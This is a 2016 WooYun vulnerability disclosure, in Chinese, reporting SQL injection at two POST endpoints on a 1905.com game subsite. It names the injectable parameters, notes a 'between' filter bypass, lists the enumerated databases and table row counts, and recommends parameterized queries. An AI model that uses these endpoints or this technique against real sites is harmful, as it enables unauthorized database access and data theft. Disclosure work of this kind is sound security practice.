当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0223436

漏洞标题：1905电影网某站多处注入打包

相关厂商：M1905.COM

漏洞作者： 路人甲

提交时间：2016-06-26 20:23

修复时间：2016-07-02 07:25

公开时间：2016-07-02 07:25

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-06-26： 细节已通知厂商并且等待厂商处理中
2016-06-26： 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-07-02： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

http://g.1905.com:80/index.php?m=Home&c=Newsdetail&a=commentlist (POST)
p=1&id=1395&type=2


401.png


available databases [3]:
[*] game
[*] information_schema
[*] test


Database: game
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| sy_api_record            | 220351  |
| sy_game_play             | 12262   |
| sy_archives              | 6146    |
| sy_article               | 5690    |
| sy_user_game             | 284     |
| sy_user_log              | 172     |
| sy_search_keywords       | 103     |
| sy_user_comment          | 103     |
| sy_order                 | 100     |
| sy_game_config           | 75      |
| sy_comment               | 71      |
| sy_user_exp_detail       | 67      |
| sy_user                  | 29      |
| sy_user_score_detail     | 18      |
| sy_game_raiders          | 12      |
| sy_game_class            | 11      |
| sy_channel               | 9       |
| sy_article_special       | 6       |
| sy_user_question         | 6       |
| sy_game_special          | 5       |
| sy_article_category      | 4       |
| sy_user_loginerror       | 3       |
| sy_channel_class         | 2       |
| sy_message_advertisement | 1       |
+--------------------------+---------+


第二处注入

http://g.1905.com:80/index.php?m=Home&c=Newsdetail&a=addComment (POST)
content=1111&type=2&id=8178


402.png


均需要使用between绕过

漏洞证明：

402.png

修复方案：

参数化处理

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-07-02 07:25

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价